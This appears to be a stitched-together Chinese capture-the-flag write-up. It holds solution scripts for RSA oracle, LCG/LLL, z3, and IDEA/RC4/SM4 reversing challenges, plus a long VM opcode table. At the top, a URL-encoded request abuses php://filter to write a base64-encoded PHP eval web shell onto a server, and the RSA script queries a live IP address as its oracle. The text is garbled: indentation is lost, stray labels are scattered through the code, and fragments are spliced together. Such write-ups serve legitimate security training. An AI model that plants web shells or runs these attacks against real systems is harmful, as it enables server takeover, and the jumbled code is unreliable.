Encoding%253A%2520gzip%252C%2520deflate%250D%250AAccept-Language%253A%2520zh-
CN%252Czh%253Bq%253D0.9%250D%250AConnection%253A%2520close%250D%250ACookie%253A%
2520PHPSESSID%253Dvenenof7nu1l%250D%250A%250D%250Afile%253Dphp%253A%2F%2Ffilter%
2Fconvert.base64-
decode%2Fresource%25253dveneno.php%2526content%253DPD89ZXZhbCgkX0dFVFthXSk7Pz4%2
50D%250A
import requests
from Crypto.Util.number import long_to_bytes
cookies = {"encrypto_flag":
"4546593284002117386634437404315529363646392866484411505081746689996849379636592
12950676706194348250350985177553258626717404579151315056197434716077885765225292
55405963716574716340068991859916399126104350875134633281427848875445521065486773
000031435475730637962621247290102064106118177042608671128815440530946",
"PHPSESSID": "ekvrifngfb1s8c79823kllfaau", "public_n":
"8f5dc00ef09795a3efbac91d768f0bff31b47190a0792da3b0d7969b1672a6a6ea572c2791fa6d0
da489f5a7d743233759e8039086bc3d1b28609f05960bd342d52bffb4ec22b533e1a75713f4952e9
075a08286429f31e02dbc4a39e3332d2861fc7bb7acee95251df77c92bd293dac744eca3e6690a7d
8aaf855e0807a1157", "public_e": "010001"}
n =
0x8f5dc00ef09795a3efbac91d768f0bff31b47190a0792da3b0d7969b1672a6a6ea572c2791fa6d
0da489f5a7d743233759e8039086bc3d1b28609f05960bd342d52bffb4ec22b533e1a75713f4952e
9075a08286429f31e02dbc4a39e3332d2861fc7bb7acee95251df77c92bd293dac744eca3e6690a7
d8aaf855e0807a1157
e = 0x10001
c =
45465932840021173866344374043155293636463928664844115050817466899968493796365921
29506767061943482503509851775532586267174045791513150561974347160778857652252925
54059637165747163400689918599163991261043508751346332814278488754455210654867730
00031435475730637962621247290102064106118177042608671128815440530946
Re
aaenc
def oracle(c):
global last
m = requests.post("http://106.14.66.189/abi.php", data={'this[is.able': c},
cookies=cookies).json()['num']
return m
L, H, R = 0, 1, 1
s = 1
while True:
s = s * pow(3, e, n) % n
m = oracle(s * c % n)
L, H, R = 3 * L, 3 * H, 3 * R
if m == 0:
H -= 2
elif m == (-n % 3):
L += 1
H -= 1
else:
L += 2
if (n * H // R) - (n * L // R) < 2:
break
print(n * L // R)
print(n * H // R)
print(long_to_bytes(n * L // R))
print(long_to_bytes(n * H // R))
def getr(m,a,b,s,c):
try:
assert(len(s))==32
mt=int(m,16)
at=int(a,16)
bt=int(b,16)
st=int(s,16)
for _ in range(int(c)):
st=(at*st+bt)%mt
return hex(st>>64)[2:].zfill(16)
except Exception as e:
return "0"*16
console:setTitle("aaenc")
local flag = console:getText("Input flag:")
local seed = console:getText("Input key:")
if string:len(seed) ~= 32 then
console:log("wrong key length")
else
console:log("aaenc your flag: " .. flag .. " with key: " .. seed .. " ......")
local pyCode = "def getr(m,a,b,s,c):\r\n try:\r\n
assert(len(s))==32\r\n mt=int(m,16)\r\n at=int(a,16)\r\n
bt=int(b,16)\r\n st=int(s,16)\r\n for _ in range(int(c)):\r\n
st=(at*st+bt)%mt\r\n return hex(st>>64)[2:].zfill(16)\r\n except
Exception as e:\r\n return \"0\"*16\r\n\t"
LLL恢复LCG的seed,然后aes解密即可
local m = "e542d091540eae43c96d0ae3f4a10d81"
local a = "ccec1dce142a4582d9af626863c6ee7d"
local b = "89d6db1518eb7f00093ae5f419523b8c"
py:exec(pyCode)
local writelog = ""
local i = py
for i = 1, 20 do
writelog = writelog .. crypt.bin:decodeHex(tostring(nil, py.main:getr(m, a,
b, seed, i)))
end
string:save("log", writelog)
local aesiv = crypt.bin:decodeHex(tostring(writelog, py.main:getr(m, a, b,
seed, 21)) + tostring(py.main:getr(m, a, b, seed, 22)))
local aeskey = crypt.bin:decodeHex(tostring(py.main:getr(m, a, b, seed, 23)) +
tostring(py.main:getr(m, a, b, seed, 24)))
local aes = crypt:aes()
aes:setPassword(aeskey)
aes:setInitVector(aesiv)
local cipher = aes:encrypt(flag)
local output = crypt.bin:encodeBase64(cipher)
console:log(output)
string:save("output", output)
end
console:pause()
from Crypto.Cipher import AES
import base64
from binascii import unhexlify
b=183219830469466877760231168067257908108
a=272388497715857844567506303786466864765
m=304740132882704646362913693640465386881
def getr(mt, at, bt, st, c):
try:
for _ in range(int(c)):
st = (at*st+bt) % mt
return hex(st >> 64)[2:].zfill(16)
except Exception as e:
print(e)
return "0"*16
h = [0, 0x9CE1BC6E7E93BC03, 0x47489FE35F5C92F1, 0x4B536E19E9F21A3B,
0x42C7F93A6950BE21, 0xB238E656108693B2, 0x5F30DC294E45A73C, 0x27CCDC683B5BAD86,
0x090D7235588C386E, 0x9764EBE232521ADF, 0x522A24F6FC7F08BC, 0xB8E85141140B6DC3,
0x824E8FFBB1522F25, 0x051B2D968B1E7843, 0x30C5EB488D4F9748, 0x13094502337FB6B6,
0x5319E03ABF8B0F54, 0xCFE90AA76014CE36, 0x29FAC4CCCE737DC6, 0x1FB257EBF0DAA9EC,
0x9D5BF2FC7BEB9BCD]
for i in range(len(h)):
h[i] <<= 64
A = [1]
B = [0]
for i in range(1, len(h)-1):
A.append(a*A[i-1] % m)
B.append((a*B[i-1]+a*h[i]+b-h[i+1]) % m)
flower
首先修复混淆,然后从后往前逆推
A = A[1:]
B = B[1:]
M = matrix(ZZ, 21, 21)
for i in range(19):
M[i, i] = m
M[19, i] = A[i]
M[20, i] = B[i]
M[i, 19] = M[i, 20] = 0
M[19, 19] = 1
M[20, 20] = 2^64
M[19, 20]= 0
#print(B)
vl = M.LLL()[0]
l1 = vl[-2]
h1 = h[1]
s1 = l1+h1
#s1 = a*seed+b %m
seed = ((s1 - b)*inverse_mod(a,m))%m
print(seed)
IV = unhexlify(getr(m, a, b, seed, 21) + getr(m, a, b, seed, 22))
key = unhexlify(getr(m, a, b, seed, 23) + getr(m, a, b, seed, 24))
mode = AES.MODE_CBC
aes = AES.new(key, mode, IV=IV)
print(aes.decrypt(base64.b64decode('d34RauTjHiahhP/4pyNvh1g7s1gAs4dMzyDVBAOYBZvN
2cWVYqv0pCv2iyKSurH0')))
可以注意到操作对于z3来说很简单,但是轮数不确定,轮数由输入的crc决定,所以无法简单求出。
所以我们直接爆破轮数,求出轮数为20或28后,验证得知20为正确的轮数,即可直接z3求出flag
from z3 import *
corr =
'A8AF569888EF4006FDAEE99EB9EAAD52CCAB04CAECEB125499AABBCCDDEEFF00A8AF569888EF400
6FDAEE99EB9EAAD52CBAA19E5ECEB125EA0A6A8F38BD6CD6FCBC04FC1E0DA740091BEC683D0A68D2
EBEFC3FAD9BE02652F5BA94D1B4A2DF7CDAF86DFFFFE4740091BEC683D0A68D2EBEFC3FAD9BE0265
2F5BA94D1B4A2DF7C'.decode('hex')
corr = [c ^ 0x88 for c in map(ord, corr)]
def doRound(ctx, round):
for m in range(round):
v25 = 0
v24 = v23 = ctx[7]
while True:
if v25 + 6 < 0:
break
v27 = ctx[6 + v25]
ctx[7+v25] = (v23 & 0xf0) + (v27 & 0xf)
v23 = v27
safe_m2m
Script1:
v25 -= 1
v29 = ctx[0] & 0xF0
ctx[0] = (v24 & 0xf) + (ctx[0] & 0xf0)
for v28 in range(7):
ctx[v28] = (ctx[v28] & 0xF) + (ctx[v28 + 1] & 0xF0)
ctx[7] = (ctx[7] & 0xF) | v29
def solveRound(off, ctx, round, corr):
s = Solver()
doRound(ctx, round)
for j in range(8):
s.add(ctx[j] == corr[j])
s.add(x[j] >= 0x20)
s.add(x[j] <= 0x7d)
while s.check() == sat:
print(off, ''.join([chr(int(str(s.model()[c]))) for c in x]))
s.add(*[s.model()[c] != c for c in x])
def doBrute():
ctx = map(ord, '1122334455667788'.decode('hex'))
iv = map(ord, '77239DAC1327CFFE'.decode('hex'))
x = [BitVec('x%d' % c, 8) for c in range(8)]
i1 = [x[i] ^ ctx[i] for i in range(8)]
i2 = [i1[i] ^ iv[i] for i in range(8)]
for i in range(16,33):
ctx = list(i2)
solveRound(ctx, i, corr[0:8])
ctx = map(ord, '1122334455667788'.decode('hex'))
iv = map(ord, '77239DAC1327CFFE'.decode('hex'))
x = [BitVec('x%d' % c, 8) for c in range(8)]
for off in range(16):
i1 = [x[i] ^ ctx[i] for i in range(8)]
i2 = [i1[i] ^ iv[i] for i in range(8)]
solveRound(off, i2, 20, corr[off*8:off*8+8])
ctx = corr[off*8:off*8+8]
from Crypto.Cipher import ARC4
from pysm4 import encrypt, decrypt
from Crypto.Util.number import bytes_to_long, long_to_bytes
from binascii import unhexlify, hexlify
# ---- Public functions ----
# Computes the encryption of the given block (8-element bytelist) with
# the given key (16-element bytelist), returning a new 8-element bytelist.
def ideaencrypt(block, key, printdebug=False):
return _crypt(block, key, "encrypt", printdebug)
# Computes the decryption of the given block (8-element bytelist) with
# the given key (16-element bytelist), returning a new 8-element bytelist.
def ideadecrypt(block, key, printdebug=False):
return _crypt(block, key, "decrypt", printdebug)
# ---- Private cipher functions ----
def _crypt(block, key, direction, printdebug):
# Compute and handle the key schedule
keyschedule = _expand_key_schedule(key)
if direction == "decrypt":
keyschedule = _invert_key_schedule(keyschedule)
# Pack block bytes into variables as uint16 in big endian
w = block[0] << 8 | block[1]
x = block[2] << 8 | block[3]
y = block[4] << 8 | block[5]
z = block[6] << 8 | block[7]
# Perform 8 rounds of encryption/decryption
for i in range(_NUM_ROUNDS):
j = i * 6
w = _multiply(w, keyschedule[j + 0])
x = _add(x, keyschedule[j + 1])
y = _add(y, keyschedule[j + 2])
z = _multiply(z, keyschedule[j + 3])
u = _multiply(w ^ y, keyschedule[j + 4])
v = _multiply(_add(x ^ z, u), keyschedule[j + 5])
u = _add(u, v)
w ^= v
x ^= u
y ^= v
z ^= u
x, y = y, x
# Perform final half-round
x, y = y, x
w = _multiply(w, keyschedule[-4])
x = _add(x, keyschedule[-3])
y = _add(y, keyschedule[-2])
z = _multiply(z, keyschedule[-1])
# Serialize the final block as a bytelist in big endian
return [
w >> 8, w & 0xFF,
x >> 8, x & 0xFF,
y >> 8, y & 0xFF,
z >> 8, z & 0xFF]
# Given a 16-
element bytelist, this computes and returns a tuple containing 52 elements of ui
nt16.
def _expand_key_schedule(key):
# Pack all key bytes into a single uint128
bigkey = 0
for b in key:
assert 0 <= b <= 0xFF
bigkey = (bigkey << 8) | b
assert 0 <= bigkey < (1 << 128)
# Append the 16-bit prefix onto the suffix to yield a uint144
bigkey = (bigkey << 16) | (bigkey >> 112)
# Extract consecutive 16 bits at different offsets to form the key schedule
result = []
for i in range(_NUM_ROUNDS * 6 + 4):
offset = (i * 16 + i // 8 * 25) % 128
result.append((bigkey >> (128 - offset)) & 0xFFFF)
return tuple(result)
# Given an encryption key schedule, this computes and returns the
# decryption key schedule as a tuple containing 52 elements of uint16.
def _invert_key_schedule(keysch):
assert isinstance(keysch, tuple) and len(keysch) % 6 == 4
result = []
result.append(_reciprocal(keysch[-4]))
result.append(_negate(keysch[-3]))
result.append(_negate(keysch[-2]))
result.append(_reciprocal(keysch[-1]))
result.append(keysch[-6])
result.append(keysch[-5])
for i in range(1, _NUM_ROUNDS):
j = i * 6
result.append(_reciprocal(keysch[-j - 4]))
result.append(_negate(keysch[-j - 2]))
result.append(_negate(keysch[-j - 3]))
result.append(_reciprocal(keysch[-j - 1]))
result.append(keysch[-j - 6])
result.append(keysch[-j - 5])
result.append(_reciprocal(keysch[0]))
result.append(_negate(keysch[1]))
result.append(_negate(keysch[2]))
result.append(_reciprocal(keysch[3]))
return tuple(result)
# ---- Private arithmetic functions ----
# Returns x + y modulo 2^16. Inputs and output are uint16. Only used by _crypt()
.
def _add(x, y):
assert 0 <= x <= 0xFFFF
assert 0 <= y <= 0xFFFF
return (x + y) & 0xFFFF
# Returns x * y modulo (2^16 + 1), where 0x0000 is treated as 0x10000.
# Inputs and output are uint16. Note that 2^16 + 1 is prime. Only used by _crypt
().
def _multiply(x, y):
assert 0 <= x <= 0xFFFF
assert 0 <= y <= 0xFFFF
if x == 0x0000:
x = 0x10000
if y == 0x0000:
y = 0x10000
z = (x * y) % 0x10001
if z == 0x10000:
z = 0x0000
assert 0 <= z <= 0xFFFF
return z
# Returns the additive inverse of x modulo 2^16.
# Input and output are uint16. Only used by _invert_key_schedule().
def _negate(x):
assert 0 <= x <= 0xFFFF
return (-x) & 0xFFFF
# Returns the multiplicative inverse of x modulo (2^16 + 1), where 0x0000 is
# treated as 0x10000. Input and output are uint16. Only used by _invert_key_sche
dule().
def _reciprocal(x):
assert 0 <= x <= 0xFFFF
if x == 0:
return 0
else:
return pow(x, 0xFFFF, 0x10001) # By Fermat's little theorem
# ---- Numerical constants/tables ----
if __name__ == '__main__':
_NUM_ROUNDS = 8
k = unhexlify('1f ef aa fe 12 4f f4 5f 1a 90'.replace(' ',''))
# print(len(k))
a = ARC4.new(k)
enc = unhexlify('60 dc bc f3 57 8f d2 16 fd b9 1e d8 aa c9 34 d6 50 dc 16 87
57 8f f7 2f 7f a7 8d 21 aa d9 66 e5'.replace(' ',''))
print('len rc4 result', len(enc))
k1 = a.decrypt(enc[:16])
a = ARC4.new(k)
sm4_key = a.decrypt(enc[16:])
enc2 = 'a2 77 1a 22 48 84 73 e7 32 fd bc 96 5f 64 60 46 d3 f5 9f b3 84 d4 8f
24 a3 c6 aa cb e1 94 7d 58 1c a3 e4 12 e7 b7 86 86 7d 9b 0c ad ee b3 ee 11'.spl
it(' ')
# print(len(enc2))
for i in range(48):
enc2[i] = int(enc2[i],16)
k11 = []
for i in range(16):
k11.append(k1[i])
de1 = []
Output:
Script2:
k11 = bytearray(k11)
print('idea key:', hexlify(k11))
for i in range(0,48,8):
de1 += (ideadecrypt(enc2[i:i+8],k11))
de1 = bytearray(de1)
print('idea decrypt result:' , hexlify(de1))
#de1 = ''.join(chr(i) for i in de1)
de2 = b''
sm4_key = bytearray(sm4_key)
print('sm4 key', (hexlify(sm4_key)))
for i in range(0,48,16):
kk = bytes_to_long(sm4_key[:16])
enc = bytes_to_long(de1[i:i+16])
de2 += long_to_bytes(decrypt(enc, kk))
print('sm4 decrypt result', hexlify(de2))
# print(len(de2))
len rc4 result 32
idea key: b'1333efdfaa1a3f1a4fe13f1610024331'
idea decrypt result:
b'c7d4830dd06755741bf39a4fb611d79fc0c05e1fe41cb213a0eb75b9e4c45527ecc217f217ad0b
81016edecc4b383a70'
sm4 key b'233345abaa1a1a23cdffacef10121102'
sm4 decrypt result
b'e2aae4282edb06a303752de2430da6ace9f38e7640e955fd99e37f16247b0695f249e5e38ae428
8ededb76fc2ba9fdbc'
from z3 import *
from Crypto.Util.number import long_to_bytes, bytes_to_long
from multiprocessing import Pool
from binascii import unhexlify
def rev(dst):
s = Solver()
v4 = BitVec('v4', 32)
s.add(dst == v4 ^ ((LShR((v4 ^ (32 * v4)), 17)) ^ (32 * v4) ^
((LShR((v4 ^ (32 * v4)), 17) ^ v4 ^ (32 * v4)) << 13)))
assert s.check() == sat
return s.model()[v4].as_long()
def worker(args):
id, num = args
print(f'id:{id}, trying {hex(num)}')
for i in range(100016):
num = rev(num)
return long_to_bytes(num)[::-1]
Output:
firmware_blob
if __name__ == '__main__':
de2 = unhexlify(
'e2aae4282edb06a303752de2430da6ace9f38e7640e955fd99e37f16247b0695f249e5e
38ae4288ededb76fc2ba9fdbc')
with Pool(12) as p:
result = p.map(
worker, [(i, bytes_to_long(de2[i*4:(i+1)*4]
[::-1])) for i in range(12)])
print(b''.join(result).decode())
id:0, trying 0x28e4aae2
id:1, trying 0xa306db2e
id:2, trying 0xe22d7503
id:3, trying 0xaca60d43
id:4, trying 0x768ef3e9
id:5, trying 0xfd55e940
id:6, trying 0x167fe399
id:7, trying 0x95067b24
id:8, trying 0xe3e549f2
id:9, trying 0x8e28e48a
id:10, trying 0xfc76dbde
id:11, trying 0xbcfda92b
flag{wf3224s3r4datgsjx524xfsfd1fghzrav42lo1d0a0}
operands = [
[ '4', 0, -1, 0 ],
[ '4', 1, 2, 0 ],
[ ';', 0, 1, 0 ],
[ '4', 1, 3, 0 ],
[ 'n', 0, 1, 0 ],
[ '4', 1, 4, 0 ],
[ '=', 0, 1, 0 ],
[ '4', 1, 103, 0 ],
[ '=', 0, 1, 0 ],
[ 'O', 0, 0, 0 ],
[ '4', 0, -1, 0 ],
[ '4', 1, 2, 0 ],
[ ';', 0, 1, 0 ],
[ '4', 1, 2, 0 ],
[ ':', 0, 1, 0 ],
[ '4', 1, -116, 0 ],
[ '=', 0, 1, 0 ],
[ '4', 1, 80, 0 ],
[ '=', 0, 1, 0 ],
[ 'O', 0, 0, 0 ],
[ '4', 0, -1, 0 ],
[ '4', 1, 3, 0 ],
[ ';', 0, 1, 0 ],
[ '4', 1, 2, 0 ],
[ ':', 0, 1, 0 ],
[ '4', 1, 122, 0 ],
[ '=', 0, 1, 0 ],
[ '4', 1, 78, 0 ],
[ '=', 0, 1, 0 ],
[ 'O', 0, 0, 0 ],
[ '4', 0, -1, 0 ],
[ '4', 1, 4, 0 ],
[ ';', 0, 1, 0 ],
[ '4', 1, 4, 0 ],
[ 'n', 0, 1, 0 ],
[ '4', 1, 111, 0 ],
[ '=', 0, 1, 0 ],
[ 'O', 0, 0, 0 ],
[ '4', 0, -1, 0 ],
[ '4', 1, 1, 0 ],
[ ';', 0, 1, 0 ],
[ '4', 1, 2, 0 ],
[ 'n', 0, 1, 0 ],
[ '4', 1, 126, 0 ],
[ '=', 0, 1, 0 ],
[ 'O', 0, 0, 0 ],
[ '4', 0, -1, 0 ],
[ '4', 1, 16, 0 ],
[ ';', 0, 1, 0 ],
[ '4', 1, 6, 0 ],
[ '4', 2, 4, 0 ],
[ '=', 1, 2, 1 ],
[ 'n', 0, 1, 0 ],
[ '4', 1, 66, 0 ],
[ '=', 0, 1, 0 ],
[ 'O', 0, 0, 0 ],
[ '4', 0, -1, 0 ],
[ '4', 1, 12, 0 ],
[ '=', 0, 1, 0 ],
[ '4', 1, 2, 0 ],
[ ':', 0, 1, 0 ],
[ '4', 1, 4, 0 ],
[ ';', 0, 1, 0 ],
[ '4', 1, 71, 0 ],
[ '=', 0, 1, 0 ],
[ '4', 1, 9, 0 ],
[ '=', 0, 1, 0 ],
[ 'O', 0, 0, 0 ],
[ '4', 0, -1, 0 ],
[ '4', 1, 8, 0 ],
[ '=', 0, 1, 0 ],
[ '4', 1, 3, 0 ],
[ ';', 0, 1, 0 ],
[ '4', 1, 92, 0 ],
[ '=', 0, 1, 0 ],
[ 'O', 0, 0, 0 ],
[ '4', 0, -1, 0 ],
[ '4', 1, 9, 0 ],
[ ';', 0, 1, 0 ],
[ '4', 1, 3, 0 ],
[ 'n', 0, 1, 0 ],
[ '4', 1, 67, 0 ],
[ '=', 0, 1, 0 ],
[ 'O', 0, 0, 0 ],
[ '4', 0, -1, 0 ],
[ '4', 1, 11, 0 ],
[ '=', 0, 1, 0 ],
[ '4', 1, 2, 0 ],
[ ':', 0, 1, 0 ],
[ '4', 1, 2, 0 ],
[ ';', 0, 1, 0 ],
[ '4', 1, 31, 0 ],
[ '=', 0, 1, 0 ],
[ '4', 1, 45, 0 ],
[ '=', 0, 1, 0 ],
[ 'O', 0, 0, 0 ],
[ '4', 0, -1, 0 ],
[ '4', 1, 8, 0 ],
[ '=', 0, 1, 0 ],
[ '4', 1, 2, 0 ],
[ ':', 0, 1, 0 ],
[ '4', 1, 4, 0 ],
[ ';', 0, 1, 0 ],
[ '4', 1, 4, 0 ],
[ ';', 0, 1, 0 ],
[ '4', 1, 90, 0 ],
[ '=', 0, 1, 0 ],
[ 'O', 0, 0, 0 ],
[ '4', 0, -1, 0 ],
[ '4', 1, 10, 0 ],
[ ';', 0, 1, 0 ],
[ '4', 1, 2, 0 ],
[ '=', 0, 1, 0 ],
[ '4', 1, 4, 0 ],
[ 'n', 0, 1, 0 ],
[ '4', 1, 110, 0 ],
[ '=', 0, 1, 0 ],
[ 'O', 0, 0, 0 ],
[ '4', 0, -1, 0 ],
[ '4', 1, 8, 0 ],
[ '=', 0, 1, 0 ],
[ '4', 1, 2, 0 ],
[ '4', 2, 4, 0 ],
[ ';', 1, 2, 1 ],
[ 'n', 0, 1, 0 ],
[ '4', 1, 2, 0 ],
[ ';', 0, 1, 0 ],
[ '4', 1, 43, 0 ],
[ '=', 0, 1, 0 ],
[ 'O', 0, 0, 0 ],
[ '4', 0, -1, 0 ],
[ '4', 1, 2, 0 ],
[ ';', 0, 1, 0 ],
[ '4', 1, 2, 0 ],
[ '4', 2, 3, 0 ],
[ ';', 1, 2, 1 ],
[ 'n', 0, 1, 0 ],
[ '4', 1, 4, 0 ],
[ ';', 0, 1, 0 ],
[ '4', 1, 58, 0 ],
[ '=', 0, 1, 0 ],
[ 'O', 0, 0, 0 ],
[ '4', 0, -1, 0 ],
[ '4', 1, 8, 0 ],
[ '=', 0, 1, 0 ],
[ '4', 1, 1, 0 ],
[ ':', 0, 1, 0 ],
[ '4', 1, 2, 0 ],
[ ';', 0, 1, 0 ],
[ '4', 1, 4, 0 ],
[ ';', 0, 1, 0 ],
[ '4', 1, 50, 0 ],
[ '=', 0, 1, 0 ],
[ 'O', 0, 0, 0 ],
[ '4', 0, -1, 0 ],
[ '4', 1, 9, 0 ],
[ ';', 0, 1, 0 ],
[ '4', 1, 2, 0 ],
[ '=', 0, 1, 0 ],
[ '4', 1, 2, 0 ],
[ ':', 0, 1, 0 ],
[ '4', 1, 100, 0 ],
[ '=', 0, 1, 0 ],
[ '4', 1, 108, 0 ],
[ '=', 0, 1, 0 ],
[ 'O', 0, 0, 0 ],
[ '4', 0, -1, 0 ],
[ '4', 1, 10, 0 ],
[ ';', 0, 1, 0 ],
[ '4', 1, 2, 0 ],
[ '=', 0, 1, 0 ],
[ '4', 1, 3, 0 ],
[ 'n', 0, 1, 0 ],
[ '4', 1, 57, 0 ],
[ '=', 0, 1, 0 ],
[ 'O', 0, 0, 0 ],
[ '4', 0, -1, 0 ],
[ '4', 1, 2, 0 ],
[ ';', 0, 1, 0 ],
[ '4', 1, 1, 0 ],
[ '=', 0, 1, 0 ],
[ '4', 1, 3, 0 ],
[ 'n', 0, 1, 0 ],
[ '4', 1, 59, 0 ],
[ '=', 0, 1, 0 ],
[ 'O', 0, 0, 0 ],
[ '4', 0, -1, 0 ],
[ '4', 1, 2, 0 ],
[ ';', 0, 1, 0 ],
[ '4', 1, 1, 0 ],
[ '=', 0, 1, 0 ],
[ '4', 1, 2, 0 ],
[ ':', 0, 1, 0 ],
[ '4', 1, 106, 0 ],
[ '=', 0, 1, 0 ],
[ 'O', 0, 0, 0 ],
[ '4', 0, -1, 0 ],
[ '4', 1, 2, 0 ],
[ ';', 0, 1, 0 ],
[ '4', 1, 2, 0 ],
[ 'n', 0, 1, 0 ],
[ '4', 1, 2, 0 ],
[ ':', 0, 1, 0 ],
[ '4', 1, 116, 0 ],
[ '=', 0, 1, 0 ],
[ 'O', 0, 0, 0 ],
[ '4', 0, -1, 0 ],
[ '4', 1, 2, 0 ],
[ '=', 0, 1, 0 ],
[ '4', 1, 2, 0 ],
[ 'n', 0, 1, 0 ],
[ '4', 1, 3, 0 ],
[ ':', 0, 1, 0 ],
[ '4', 1, -56, 0 ],
[ '=', 0, 1, 0 ],
[ '4', 1, 88, 0 ],
[ '=', 0, 1, 0 ],
[ 'O', 0, 0, 0 ],
[ '4', 0, -1, 0 ],
[ '4', 1, 2, 0 ],
[ ';', 0, 1, 0 ],
[ '4', 1, 2, 0 ],
[ ':', 0, 1, 0 ],
[ '4', 1, 3, 0 ],
[ ';', 0, 1, 0 ],
[ '4', 1, 4, 0 ],
[ ';', 0, 1, 0 ],
[ '4', 1, 111, 0 ],
[ '=', 0, 1, 0 ],
[ 'O', 0, 0, 0 ],
[ '4', 0, -1, 0 ],
[ '4', 1, 1, 0 ],
[ ';', 0, 1, 0 ],
[ '4', 1, 2, 0 ],
[ ':', 0, 1, 0 ],
[ '4', 1, 2, 0 ],
[ ';', 0, 1, 0 ],
[ '4', 1, 2, 0 ],
[ ';', 0, 1, 0 ],
[ '4', 1, 104, 0 ],
[ '=', 0, 1, 0 ],
[ 'O', 0, 0, 0 ],
[ '4', 0, -1, 0 ],
[ '4', 1, 1, 0 ],
[ ';', 0, 1, 0 ],
[ '4', 1, 2, 0 ],
[ ':', 0, 1, 0 ],
[ '4', 1, 2, 0 ],
[ ';', 0, 1, 0 ],
[ '4', 1, 116, 0 ],
[ '=', 0, 1, 0 ],
[ 'O', 0, 0, 0 ],
[ '4', 0, -1, 0 ],
[ '4', 1, 1, 0 ],
[ ';', 0, 1, 0 ],
[ '4', 1, 2, 0 ],
[ ';', 0, 1, 0 ],
[ '4', 1, 3, 0 ],
[ ';', 0, 1, 0 ],
[ '4', 1, 4, 0 ],
[ ';', 0, 1, 0 ],
[ '4', 1, 109, 0 ],
[ '=', 0, 1, 0 ],
[ 'O', 0, 0, 0 ],
[ '4', 0, -1, 0 ],
[ '4', 1, 1, 0 ],
[ ';', 0, 1, 0 ],
[ '4', 1, 4, 0 ],
[ '4', 2, 2, 0 ],
[ ';', 1, 2, 1 ],
[ 'n', 0, 1, 0 ],
[ '4', 1, 3, 0 ],
[ ';', 0, 1, 0 ],
[ '4', 1, 56, 0 ],
[ '=', 0, 1, 0 ],
[ 'O', 0, 0, 0 ],
[ '4', 0, -1, 0 ],
[ '4', 1, 2, 0 ],
[ ';', 0, 1, 0 ],
[ '4', 1, 3, 0 ],
[ '4', 2, 1, 0 ],
[ ';', 1, 2, 1 ],
[ 'n', 0, 1, 0 ],
[ '4', 1, 3, 0 ],
[ ';', 0, 1, 0 ],
[ '4', 1, 51, 0 ],
[ '=', 0, 1, 0 ],
[ 'O', 0, 0, 0 ],
[ '4', 0, -1, 0 ],
[ '4', 1, 1, 0 ],
[ ';', 0, 1, 0 ],
[ '4', 1, 2, 0 ],
[ ':', 0, 1, 0 ],
[ '4', 1, 3, 0 ],
[ ';', 0, 1, 0 ],
[ '4', 1, 2, 0 ],
[ '=', 0, 1, 0 ],
[ '4', 1, 3, 0 ],
[ 'n', 0, 1, 0 ],
[ '4', 1, 106, 0 ],
[ '=', 0, 1, 0 ],
[ 'O', 0, 0, 0 ],
[ '4', 0, -1, 0 ],
[ '4', 1, 1, 0 ],
[ ';', 0, 1, 0 ],
[ '4', 1, 2, 0 ],
[ ':', 0, 1, 0 ],
[ '4', 1, 3, 0 ],
[ ';', 0, 1, 0 ],
[ '4', 1, 2, 0 ],
[ '=', 0, 1, 0 ],
[ '4', 1, -126, 0 ],
[ '=', 0, 1, 0 ],
[ '4', 1, 69, 0 ],
[ '=', 0, 1, 0 ],
[ 'O', 0, 0, 0 ],
[ '4', 0, -1, 0 ],
[ '4', 1, 1, 0 ],
[ ';', 0, 1, 0 ],
[ '4', 1, 2, 0 ],
[ ':', 0, 1, 0 ],
[ '4', 1, 4, 0 ],
[ ';', 0, 1, 0 ],
[ '4', 1, 2, 0 ],
[ '=', 0, 1, 0 ],
[ '4', 1, 8, 0 ],
[ ';', 0, 1, 0 ],
[ '4', 1, 110, 0 ],
[ '=', 0, 1, 0 ],
[ 'O', 0, 0, 0 ],
[ '4', 0, -1, 0 ],
[ '4', 1, 1, 0 ],
[ ';', 0, 1, 0 ],
[ '4', 1, 2, 0 ],
[ ':', 0, 1, 0 ],
[ '4', 1, 4, 0 ],
[ ';', 0, 1, 0 ],
[ '4', 1, 1, 0 ],
[ ';', 0, 1, 0 ],
[ '4', 1, 8, 0 ],
[ ';', 0, 1, 0 ],
[ '4', 1, 121, 0 ],
[ '=', 0, 1, 0 ],
[ 'O', 0, 0, 0 ],
[ '4', 0, -1, 0 ],
[ '4', 1, 2, 0 ],
[ ';', 0, 1, 0 ],
[ '4', 1, 2, 0 ],
[ ':', 0, 1, 0 ],
[ '4', 1, 3, 0 ],
[ ';', 0, 1, 0 ],
[ '4', 1, 1, 0 ],
[ ';', 0, 1, 0 ],
[ '4', 1, 122, 0 ],
[ '=', 0, 1, 0 ],
[ 'O', 0, 0, 0 ],
[ '4', 0, -1, 0 ],
[ '4', 1, 1, 0 ],
[ ';', 0, 1, 0 ],
[ '4', 1, 2, 0 ],
[ '4', 2, 3, 0 ],
[ ';', 1, 2, 1 ],
[ 'n', 0, 1, 0 ],
[ '4', 1, 2, 0 ],
[ ';', 0, 1, 0 ],
[ '4', 1, 62, 0 ],
[ '=', 0, 1, 0 ],
[ 'O', 0, 0, 0 ],
[ '4', 0, -1, 0 ],
[ '4', 1, 2, 0 ],
[ ';', 0, 1, 0 ],
[ '4', 1, 2, 0 ],
[ '4', 2, 2, 0 ],
[ ';', 1, 2, 1 ],
[ 'n', 0, 1, 0 ],
[ '4', 1, 4, 0 ],
[ ';', 0, 1, 0 ],
[ '4', 1, 100, 0 ],
[ '=', 0, 1, 0 ],
[ 'O', 0, 0, 0 ],
[ '4', 0, -1, 0 ],
[ '4', 1, 2, 0 ],
[ ';', 0, 1, 0 ],
[ '4', 1, 1, 0 ],
[ '4', 2, 2, 0 ],
[ ';', 1, 2, 1 ],
[ 'n', 0, 1, 0 ],
[ '4', 1, 15, 0 ],
[ ';', 0, 1, 0 ],
[ '4', 1, 64, 0 ],
[ '=', 0, 1, 0 ],
[ 'O', 0, 0, 0 ],
[ '4', 0, -1, 0 ],
[ '4', 1, 2, 0 ],
[ ';', 0, 1, 0 ],
[ '4', 1, 2, 0 ],
[ '4', 2, 1, 0 ],
[ ';', 1, 2, 1 ],
[ 'n', 0, 1, 0 ],
[ '4', 1, 5, 0 ],
[ 'n', 0, 1, 0 ],
[ '4', 1, 110, 0 ],
[ '=', 0, 1, 0 ],
[ 'O', 0, 0, 0 ],
[ '4', 0, -1, 0 ],
[ '4', 1, 53, 0 ],
[ '=', 0, 1, 0 ],
[ 'O', 0, 0, 0 ],
[ '4', 0, -1, 0 ],
[ '4', 1, 1, 0 ],
[ ';', 0, 1, 0 ],
